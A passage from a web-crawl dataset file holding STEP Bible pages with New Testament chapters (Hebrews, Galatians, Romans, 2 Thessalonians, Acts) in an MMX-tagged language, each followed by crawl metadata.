2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.17","date":"2018-10-20T08:15:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512679.76\/warc\/CC-MAIN-20181020080138-20181020101638-00037.warc.gz","language":"mmx","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000035762786865}","num_words":1447,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 2\nMinam Tebeng Lolos Lunuunu Atnimi1 Nitna ne Moroa ga raba dik mi loklox arooro, kuren la minam tebeng lolos lunuunu atnimi mumu mo levenanasa miga ronga ka vam i, kusu mi noxo soogong basinge mo lunuunu. 2 Lubung angelo diga raba ne Moses mi Lenavolo la ixo epovo do tara na los polo i. Do nege ga ronga xepe i xopla goxo mu asu i, neni ga ba lok ka losongsongot ga epovo at loklok teren. 3 La kerepmo bok do nedik ata ronga xepe Lagale Lavavang, ixo epovo do nedik taba sepsu basinge lebelemamao at ne Moroa. Leeme Silok neni avot ga ru ka lavavang at langas ti loklox arooro, la nedi luvuttadi vavang diga ronga xaka mo levelinga ren, la diga lox aruturun i ridik. 4 Moroa ga lox asuusu box i do mo levelinga ren i ruturun mi leveloklok katling la levempanga sangsangu la leventamtaba at Loroonan Kaala, ne Moroa gara epes pam limixin teren min, ga epovo at lavavara ren.\nIesu Ga Ravasu Ngan Limixin5 Moroa goxo lok li lubung angelo xusu dibam gomgo ri limixin ap mo lemenemen move naba vot melemu, na nema ma paase mumu i. 6 Ketla limixin at ne Moroa dibam gomgo ri lavanga axap kerekngan lara ga tong i keneng at Lovoang Kaala; i lok keretna,\n\"Ua lavasuun teren la nenu ne Moroa u doxoma mu solo limixin, la labalam ik lok mu laxamdak atdi? 7 Nenu uga raba limixin mi levenasen silok, ketla ik lok maxopok kakalik at lubung angelo, la uga lox anarong di mi lixitkis silok kusu diba ruuna ka leemi asu la loklok ngangao. 8 Uga tong li i do una lox asilok di xusu diba lok tatao mo levempanga axap.\" a\nNe Moroa ga lok li levempanga axap maxopok at loklok tatao atdik, kopmen goxo ke xepe tavanga. Na lingina kovisi nedik ata ven i do levempanga ik lok maxopok at loklok tatao atdik. 9 Ketla nedik ata ven kibis i do ne Iesu neni ga ruuna lixitkis silok tinedi lubung angelo, la ne Moroa ga lox asi lixilik mun i maxopok atdi xusu na xip lumumuat at lanmet ti lox asuusu lodoxoma at ne Moroa do limixin axap diba lok ka lorooro avolo. Kuren la lingina Iesu ira lok ka vam lixitkis silok la limixin di lok ngangao ren.\n10 Gak mokso do ne Moroa, neni ga rudum li levempanga axap la i lok tatao bok di, do neni na ke xepe ne Iesu xusu neni na xip laxasongsongot kusu na lox agagas avukat ti lugugu ren. Kuren la neni ga ruuna ka laasen do Lamgomgo at langas ti loklox arooro la ga lok ka bok buaang limixin kusu dina ruuna ka loklox arooro. 11 Ne Iesu eburu minedi limixin ni ga lox adadat di, dik lok keneng at legesa xitkis koetemen. Kerepmo la ne Iesu neni i lok momo aleng ti tong di do luvutneton. 12 Neni ga lok ti ne Moroa,\n\"Nenia anaba tong asu laasen taram ti luvutnetak la anabak pixan emi asu minu ro melamgo at lovotpot buru atdi.\" b\n13 La ne Iesu ga lok bok,\n\"Aba nuunu at ne Moroa kerekngan di.\" c\nLa ga lok bok,\n\"Nenia na, ak lox eburu mi limixin ne Moroa ga raba ia midi.\" d\n14 I ruturun do nedi luvuttadi mun, la kerepmo ne Iesu ga vee radi xusu at lanmet teren neni naba sele utut kepe lololos at ne Satan, mo ik lok limixin kusu dinak marat at lanmet. 15 Ketla ne Iesu ga lox asepmus di basinge loxokoxo at ne Satan, mila at lorooro axap atdi xeneng ap mo loxokoxo, digak marat at lanmet. 16 La na nedik ta ven kibis i do neni goxo vot ti lok tooro lubung angelo, ketla neni ba lok tooro nedi di ruuna lunuunu ngan ne Abaram. 17 Kuren la na lavasuun teren la neni ga vee radi at lorooro axap teren ngan luvutneton kusu neni ba ravasu ngan laradi ga umsu mi lebelemumu la laradi ruturun at lugugu at lamaasa gomgo ri ne Moroa, la ga ravasu ngan laxaavuk kusu ne Moroa na doxoma xepe laxakapmek at limixin. 18 Neni xa ga xip lumumuat at loxonaleng ne Satan ga lok tong pen i, ketla ne Iesu goxo subu, kuren la neni i epovo na lok tooro nedi di ekip tangarang mi leveloklok tong pen.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.2","date":"2018-10-23T01:45:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515564.94\/warc\/CC-MAIN-20181023002817-20181023024317-00246.warc.gz","language":"mmx","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000022649765015}","num_words":870,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 1\nLavapaase Axasep1 Nenia ne Pol, la nenia laradi ga lok ka lorotoro ngan laradi vavang la mo lorotoro goxo ravasu at taradi gamasa, ketla ga ravasu boro at ne Iesu Karisito eburu mi ne Moroa, ne Temen, no ga lox aroo amlong i at lanmet. 2 Nema axap loxoeton nade ma lox aonon lomomo atnema rinemi limixin lotu at laramenemen do at lenep silok Galesia.\n3 Letaba nabalamu la lenmila rinemi boro at ne Moroa ne Temen nedik la Leeme Silok atnedik ne Iesu Karisito. 4 Iesu ga raba lorooro ren ti ru korop ti laxapmek atnedik kusu neni naba lox asepmus nedik basinge leveng kakapmek at na levenaleng lolos; ana ga ravasu ngan lavavara at ne Moroa ne Temen nedik. 5 Ata xip aurut laasen at ne Moroa, la leemi asu rin amisik la kopmen taxavaxap teren. I ruturun.\nLeges Agale Lavavang6 Nia a sangu aleng atnemi, atla goxo lox abao bok la mira ke xepe nga ne Moroa, mo ga ro xaka nemi mi letaba nabalamu ren keneng at ne Karisito, la mo nga mira sisiam kaka nga lavavang petpes. 7 La i ruturun tinotno do kopmen bok ba tepavang avukat petpes; ketla a vaase i na atla lentaba luvuttadi mo dik lox ekarakat lodoxoma atnemi la dirak lok tong i xusu dinaba ba gili Lagale Lavavang at ne Karisito ti langas petpes. 8 Ketla do nema luvuttadi vavang kopla taangelo boro vana at laxalibet na vavang mi tevelinga xopmen na sixit emu mi Lagale Lavavang at ne Moroa, ana nema maga vavang min tinemi, lasaxaek na mu asu i. 9 Nema magara paase vam i na gano la amo manga ara vaase amu manga ren, dola tara na vavang tinemi mi tavavang na lok petpes ti lara nemi migara ruuna xaka vam i, lasaxaek na mu asu mo laradi.\n10 Nenia xopmen ana vaase i na xusu do ti lok limixin diba lok momo minia, kopmen tinotno. Nenia a vaase i na xusu ti lox amomo ne Moroa. La nenia kopmen ana vaase i na xusu limixin dinaba emi asu minia. Kopmen. Do nenia gita lox i xuren, ixo epovo bok do nenia giba lok ngan lasaxaruki at ne Karisito.\nLangas Ne Pol Ga Mu Asu I Ri Lok Ngan Laradi Vavang11 Luvutnetak mi luvurinuk. A vara do ana tong i rinemi xeretna do, Lagale Lavavang nenia a vavang min, goxo ravasu at lodoxoma at taradi at na laxangka. 12 La a goxoklen kaka i at taradi, xopla taradi ga lox ase ia min. Ne Iesu Karisito axa ga lox asuvos taba ia min.\n13 Limixin digara tong axasep pam lorooro rak tinemi at levenaleng nenia aga rooro rinotno xeneng at loklok at leme Judaia, la nenia agak lox asongot aleng limixin at lotu at ne Moroa, la aga lolos tinotno xusu ana sev amet axap lunuunu atnedi. 14 La loklok tarak keneng at lotu Judaia ga volo rinotno leventaba diga visik emu nema keneng at lenep Judaia; la nenia aga lolos tinotno xusu ana mumu asu leveloklok at lavalabat atnema. 15 Ketla avot ti livipisik tarak, ne Moroa gara soxolik kaka avot pam ia, la keneng at letaba nabalamu ren, neni ga ro xaka ia do ateren. 16 La at loxonaleng neni ga doma i xusu na lox asuvos ne Nitna ria, la kusu anaba vavang mi Lagale Lavavang teren ti limixin kopmen di me Judaia, nenia a goxo vot pasa bok ba teta xusu neni gita re ase ia, 17 kopla agitat pas bok be uto Jerusalem kusu ri ven nedi lavaun pavang avot tia. Ketla agat pas epopolo uto Arabia, la melemu agamlong uto Damasko.\n18 Ga melemu ba at lavantun maares la nenia agarat pas ba uto Jerusalem ti vot pasa ne Pita, la agak lox eburu min at lasangaun mi lavalimo levenaleng. 19 La nenia a goxo ven tu ap mo lentaba lavaun pavang bok, ketla ne Jems kusuk mene nga, neni neton Leeme Silok. 20 La na levempanga nenia a malagan i, i ruturun tinotno, la ne Moroa iklen i do nenia a xopmen ana xaxarang. 21 La melemu agat pas uto at lunep silok, Siria la Silisia. 22 Ga ap mo levenaleng limixin at ne Karisito ro Judaia di goxokleklen ia. 23 Digakleklen mun levempanga, leventaba vetpes diga paase di min keretna do, \"No laradi gak lox asongot limixin nuunu, neni na i vavang mi mo lunuunu, neni gak lok tong i do na sele utur i.\" 24 Kuren la diga xip aurut laasen at ne Moroa la diga emi asu min mumu mo levempanga ga ravasu at lorooro rak.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Gal.1","date":"2018-10-16T03:23:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509996.54\/warc\/CC-MAIN-20181016030831-20181016052331-00370.warc.gz","language":"mmx","language_score":0.999966979,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999669790267944}","num_words":903,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 5\nLomokmokso Eburu Mi Ne Moroa1 Amo nga mumu lunuunu atnedik, Moroa ga lox asepmus pam dik basinge laxakapmek, kuren la nedik di ruuna ka lumulum eburu mi ne Moroa mumu Leeme Silok atdik ne Iesu Karisito. 2 La neni gara siam ka vam nedik mumu lunuunu atnedik, la levereven kibis atnedik ti letaba nabalamu at ne Moroa, mo nga nedik di rooro ren. Nedik di momo mumu levendoxoma voovo atnedik do neni naba lox asuusu lisisixam teren tidik. 3 La dik ta xip aurut bok laasen teren keneng at levenmumuat atnedik, atla dik taklen i do levenmumuat im taba dik mi lololos kusu ata tu atmatkun keneng at leveloklok tong pen. 4 La mo lololos ik lox asuusu lorooro mukun keneng atnedik, la na lorooro mukun ik lox asuusu levendoxoma voovo xeneng atnedik. 5 Na lodoxoma voovo xopmen na lox abulu nedik, atla ne Moroa gara soli asu vam labalamu ren ukeneng at lorooro atnedik mi Loroonan Kaala, ni laramtaba at ne Moroa rinedik.\n6 La at levenaleng nedik move digoxo ruuna tololos, ne Karisito ga met tinedi limixin kapmek, at loxonaleng ne Moroa ga vit li i. 7 I lolos aleng ti tara xusu neni na met ti taradi mokmokso. Nia a lok do agut tepenaleng ba go, tara naba mulus ti met ti laradi avukat. 8 Ketla ne Moroa gara lox asuusu vam labalamu rinotno ren tinedik keretna; at loxonaleng nedik move diga nemen at laxapmek, neni ga riki ne Nitna kusu ri met nop loklok atdik.\n9 Moroa ga lox asepmus dik mi lada at ne Karisito, kuren la keneng teren i epovo rinotno do nedik taba roo suu basinge lebelemamao at ne Moroa. 10 Nedik diga munepen mi ne Moroa, ketla neni ga vaxat ka buru nedik saparav i mumu lanmet at ne Nitna. La amo nga Moroa ga lok lumulum eburu minedik, i epovo rinotno do nedik ataba roo suu mumu lorooro at ne Karisito. 11 Ketla kopmen laxavaxap ta mo at na levelinga; nedik ata xip aurut laasen at ne Moroa mumu Leeme Silok atnedik ne Iesu Karisito atla neni ga lok lumulum tinedik eburu mi ne Moroa.\nAdam Mi Ne Karisito12 Laxakapmek ga vubeles at lavatbung menemen mumu mun legesa radi, la laxapmek teren ga raba lanmet bok eburu min. La livipisik at na, lanmet ga epeseves ti limixin axap, atla limixin axap dik lok laxakapmek. 13 Lenavolo gaba vot mene melemu, ketla laxakapmek garak lok pam. At levenaleng Lenavolo goxovisi vot, ne Moroa kopmen goxom doma mu solo laxakapmek at limixin. 14 Ketla ga ru ka i at levenaleng at ne Adam i se at levenaleng at ne Moses, lanmet ga ru pavaa limixin axap, la ga ru pavaa bok nedi di goxo lok laxakapmek ngan lara ne Adam ga lox i, ni ga ronga xepe levelinga at ne Moroa. Ne Adam ga ru katling lara laradi mo ga vot melemu.\n15 Ketla nedu xopmen duna epovo atla letaba nabalamu at ne Moroa kopmen na lok ngan laxapmek at ne Adam. I ruturun do buaang limixin diga met mumu mun laxapmek at legesa radi. Ketla labalamu at ne Moroa i silok tinotno, la ga lox asuusu letaba nabalamu mene bok teren ti limixin axap mumu labalamu at legesa radi ne Iesu Karisito. 16 La laramtaba at ne Moroa la laxapmek at legesa radi, nedu xopmen duna epovo. Melemu at legesa xakapmek at ne Adam, loxokoxo ga vot ti limixin, ketla melemu at laxangkakapmek solo ga vot, laramtaba at labalamu ga lox asuusu lesepsepmus basinge laxapmek. 17 I ruturun mila at laxakapmek at legesa radi mene nga, la laxapmek ga ru pavaa limixin axap, mumu mun legesa radi. Ketla i epovo rinotno do nedi diba lok kaka letaba nabalamu i umsu aleng la loklok mokmokso boro at ne Moroa, la dinabat kis orong at lorooro avolo mumu mun legesa radi, ne Iesu Karisito.\n18 Kuren la legesa xapmek mene ga lok loxokoxo ri limixin axap. I ngan bok legeso loklok at laradi mokmokso mene ga lox asepmus la ga raba lorooro ri limixin axap. 19 Lorongtonga xepe at legesa radi mun ga sat ka limixin axap ti laxapmek. La kerepmo bok lorongtonga res at legesa radi naba lox akmokso limixin basinge laxakapmek atdi.\n20 Lenavolo ga ravasu kusu limixin dina ven kisiv i do loklok kakapmek atdi i lok kapmek aleng, ketla at lengkot ua laxapmek ga ravasu solo ren, letaba nabalamu bok at ne Moroa ga ravasu silok tinotno. Kuren la at loxonaleng laxapmek i tu ri sat ka limixin ti lanmet, letaba nabalamu bok at ne Moroa i tu xusu ti sar akmokso di, la na lam kaka di ri lorooro avolo mumu ne Iesu Karisito, Leeme Silok atnedik.\n21\nLanmet Ik Lok At Laxakapmek, Ketla Lorooro\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.5","date":"2018-10-15T08:45:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583508988.18\/warc\/CC-MAIN-20181015080248-20181015101748-00420.warc.gz","language":"mmx","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000002145767212}","num_words":931,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Thessalonians 2\nLaradi Xapmek1 Mumu lomlong at Leeme Silok atdik ne Iesu Karisito, la lovotpot atdik ti nemen saparav i. Luvutnetak mi luvurinuk, ma sing nimi 2 do nemen mita lok bukbulu soso kopla mita rakdu at levelinga leventaba di tong i do mo laaleng at lovotpot at Leeme Silok ga rupot pam. Leventaba diga xarang nimi do na levelinga ni lavapaase alii boro atnama kopla maga lox aonon i saparap nimi ro xeneng at lovoang maga malagan i rinimi. 3 Mi guta ke avolo tara na xarang nimi kerepmo, mila lekarakat silok naba rupot avot ti lovotpot at Leeme Silok. Ap mo levenaleng mumuat, buaang limixin dinaba lox abulubun kepe ne Moroa. La lara laradi kapmek naba ru asuvos. Ketla ne Moroa naba lok kapmex i ro at lemenemen songsongot. 4 Avot be mo laradi xapmek naba sok tixirixes ne Moroa la levelotu axap; la neni naba tong i do neni i silok aleng la nabat kis to at loogu laplavang at ne Moroa la neni naba lok ti limixin keretna, \"Nenia ne Moroa.\"\n5 Mina doma su ap mo levelinga, nenia aga tong i rinimi ap mo levenaleng agak lox eburu minimi. 6 La mi xasep pam do lara lavanga ik lok pe nom laradi xapmek kusu neni naba ru asuvos ap mo laaleng ne Moroa ga lok katling pam i. 7 La ne Satan ga lox aonon pam loklok ting tonga xepe ude at na lavatbung menemen la mo levempanga i gugu nemnem to xeneng at lorooro at limixin; ketla buaang limixin kopmen dina xasep teren. Mo lavanga loklok pe naba lok pe mo loklok kakapmek at ne Satan se ne Moroa naba lok kepe mo lavanga loklok pe la 8 ap mo laaleng laradi xapmek naba suvos ba. Ketla at lovotpot at Leeme Silok ne Iesu, neni naba lok kepe mo laradi xapmek mi lamamas teren la naba sev amer i mi lagamgames at lemeren.\n9 At lovotpot at nom laradi xapmek, Satan naba lok tooro i. Neni naba ruuna lololos silok la ni ba lok levempanga sangsangu la leveloklok katling kusu na xarang arup limixin min. 10 La neni naba lok leveloklok i lok kapmek kusu na xarang arup limixin mo dinaba seeve, dinaba onon uto at lemenemen songsongot mila diba ronga xepe levelinga ruturun mo im taba limixin mi loklox arooro. 11 Kuren la ne Moroa naba lox angtangku lodoxoma atdi xusu dina nuunu ap mo levelinga xaxarang, 12 la kusu dinaba lok kaka lumumuat silok, ni lemenemen songsongot, mila di noxo nuunu at levelinga ruturun teren la dibak lok momo mene mi levempanga kopmen nak mokso.\nMoroa Ga Soxolik Ka Vam Nimi Ri Lorooro13 Luvutnetak mi luvurinuk. Leeme Silok i balamu nimi. La ik mokso do mana tong avukat amisik ti ne Moroa mumu nimi, mila ne Moroa gara soxolik ka vam nimi ganoxa at lereot kusu neni na lox arooro nimi. Na loklox arooro ga ravasu keretna; miga nuunu at levelinga ruturun at ne Moroa, la Loroonan Kaala ga lox adadat lorooro atnimi. 14 Moroa ga ro ka nimi ri lorooro avolo xeneng at Lagale Lavavang, maga tong i rinimi. Neni ga ro xaka nimi xusu mina ruuna xaka loxot at lisisixam at Leeme Silox atdik ne Iesu Karisito. 15 Kuren la luvutnetak mi luvurinuk, mina tu lolos la minam tebeng lolos mo levenanasa maga lox ase vam nimi min. Maga tong asu i nom tinimi gano la maga lox aonon bok mo levelinga at levempoang.\n16 Lisingising atnama i lok keretna. Leeme Silok atdik, ne Iesu Karisito la ne Moroa ne Temen nedik duga balamu nedik, la duga raba dik mi levelinga loklok tooro, naba nemen amisik la duga raba dik mi lodoxoma voovo ti lorooro avolo. 17 Ma sing du do duna lox alolos lorooro atnimi xusu mina lok leven gugu nunuan la mina tong asu levelinga i nunuan.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Th.2","date":"2018-10-21T19:49:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514314.87\/warc\/CC-MAIN-20181021181851-20181021203351-00103.warc.gz","language":"mmx","language_score":0.999968648,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999686479568481}","num_words":786,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.253,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 25\nPol Ga Sing Do Dina Lox Aonon I Uto Saparap Ne Kaisar1 Pestas ga rupot go Sisaria, la melemu at lavantun aleng ga volo i, neni ga vas kaxat me go Sisaria la ga rupot to Jerusalem. 2 Mo go lavaeme silok la luvuttadi amgomgo at leme Judaia diga lok li levelinga atdi mumu ne Pol. 3 Diga sing lolos ne Pestas kusu na lok tavanga avukat tidi la na lox aonon ne Pol uto Jerusalem, mila diga lok li vam levelinga do diba sev amer i do neni na vas polo go at langa. 4 Pestas ga vorang i xeretna, \"Pol mo i nemen at loxokoxo to Sisaria, la nenia axa abamlong soso bok ugo. 5 Mina riki tentaba at luvuttadi amgomgo atnimi xusu dinat pas uto Sisaria eburu minia la dina lok li lavapaase mumu mo laradi go, mo do neni gara lok pam tavanga xapmek.\"\n6 Pestas ga nemen eburu minedi at lavanuan aleng kopla i sangaun aleng, la neni gamlong uto Sisaria. Ap mo lara laaleng melemu ni gat kis to at loxot tongtonga linga; la ga tong mu ri ne Pol kusu na beles uto xeneng saparav i. 7 Pol ga rupot, la leme Judaia no diga vas kaxat boro Jerusalem diga ru xangkan i la diga lok li laxampapaase lolos mumu i; ketla kopmen di goxo lox asuusu i do levelinga atdi ga ruturun.\n8 La ne Pol ga lok keretna, \"Axo lok kapmek tempanga mumu Lenavolo at leme Judaia, kopla loogu laplavang kopla at ne Kaisar.\"\n9 Pestas ga vara i do na lox amomo leme Judaia, kuren la ni ga sue ne Pol, \"U vara box i do unat pas uto Jerusalem la una ru ro melamgo rax e la nia ana ronga na levelinga di lok li i ram?\"\n10 Pol ga lok, \"A tu na de melamgo at loxot tongtonga linga at ne Kaisar; at na loxot mun miba ronga linga rak. A goxo lok kapmek tempanga at leme Judaia; kerekngan nenu ukleklen avukat tinotno i. 11 Dola nia agara los polo vam Lenavolo la agara lok pam tavanga xusu nia anaba met nov i, i lox avukat mene; a noxo sing do aba sixiro basinge i. Ket do na levelinga di lok li i rak kopmen na ruturun, ixo epovo do tara na song araba ia uto atdi; a vara i do una lox aonon ia uto at ne Kaisar.\"\n12 Pestas ga epaase eburu mi limixin papaase ren la ni ga lok, \"Ura sing pam do ubat pas uto at ne Kaisar, kuren la nenu uba vot posiga i.\"\nPestas Ga Soxomus Lavapaase Mumu Ne Pol13 Melemu at lentaba levenaleng gara volo la loorong silok, ne Agripa eburu mi neinen, laasen teren ne Benis duga rupot to Sisaria xusu duna ven ti ne Pestas la kusu duna vaase momo rin. 14 Duga nemen go Sisaria at levenaleng buaang, la ne Pestas ga paase mumu ne Pol ti mo loorong silok keretna, \"Lara laradi i nemen at loxokoxo, no ne Pelik ga on basinge i. 15 Nia agat pas uto Jerusalem, la lavamaasa silok la loxongkulao silok at leme Judaia diga lok li levempapaase rin la diga sing ia xusu ana lok li lumumuat teren.\n16 Ketla nia aga tong i ridi do nedik limixin boro Rom kopmen dik tana song araba gamasa taradi uto ri lanmet. Neni naba epen etang mi mo laradi nedu gi edak, kusu neni bok naba ronga levelinga ren la na vorang i. 17 Mo luvuttadi silok diga rupot de, la nia xopmen a goxok lok sila; ap mo mun lara laaleng melemu aga xis to at loxot tongtonga linga la aga tong i ri laradi esep kusu na lox abeles ne Pol ukeneng. 18 La nedi mo limixin diga lok li i at lavapaase; diga xatu upana, kusu dina vaase; la nia aga nua i do diba vaase mu i mi taxapmek. Ketla di goxo lox i. 19 Diga ruuna mun levesusue eburu min mumu leventaangas at lotu atnedi la mumu bok lara laradi laasen teren ne Iesu, no gara met pam; ne Pol ga lok do neni mo i rooro. 20 A goxo epovo do anaba lok ka tevelinga mumu na lavanga; kuren la aga sing ne Pol kusu ni nat pas uto Jerusalem, la ana ronga mo lavapaase ren go. 21 Ketla ne Pol ga sing do ni na nemen maxopok at loklok tatao rak na de Sisaria, la ne Kaisar axa naba ronga linga ren. Kuren la aga tong i ri luvuttadi esep kusu dina lok tatao avukar i se nia aba lox aonon i uto at ne Kaisar.\"\n22 Agripa ga lok ti ne Pestas, \"A vara i do nenia xa aba ronga linga bok ap mo laradi.\"\nPestas ga vorang i xeretna, \"Uba ronga linga ren kantamak.\"\n23 Kuren la ap mo laaleng melemu Agripa la ne Benis duga rupot mi lisinang avukat atdu, la limixin diga lok ngangao aleng atdu. La duga beles to xeneng at loxot tongtonga linga ua luvuttadi amgomgo at limixin esep la limixin silok ap mo lemenemen digat kis tangais i ve. La ne Pestas ga tong mu ri ne Pol la limixin esep diga lox abeles i ukeneng.\n24 Pestas ga lok, \"Loorong silok ne Agripa, la nemi axap mik lox eburu minama; mina ven na laradi ne Pol! Limixin me Judaia nade la boro bok Jerusalem diga raba linga ia mumu i. Diga paase lolos do ni naba met. 25 Ketla a goxo vuse ka tempanga do ni ga lok kapmex i xusu ni ba met nov i. Ketla neni xa ga sing ti ne Kaisar; kuren la nia a doma li vam i xusu ana sak tiki ne Pol uto saparav i. 26 Ketla axo vuse ka tevelinga loklox axasep teren kusu ana malagan i uto ri leeme gomgo atdik ne Kaisar. Kuren la ana lok li i uto melamgo atnimi la to melamgo ram, ne Agripa! Kuren la, melemu at na lavapaase, aba malagan tevelinga. 27 Mila ixok mokso do ana riki gamasa taradi xokoxo la xopmen tavapaase axasep ti levelinga diga lok li i ren.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.25","date":"2018-10-20T08:20:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512679.76\/warc\/CC-MAIN-20181020080138-20181020101638-00066.warc.gz","language":"mmx","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999862909317017}","num_words":1156,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.272,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 18\nPol Ga Tong Asu Lagale Lavavang To Korin1 Melemu at na, 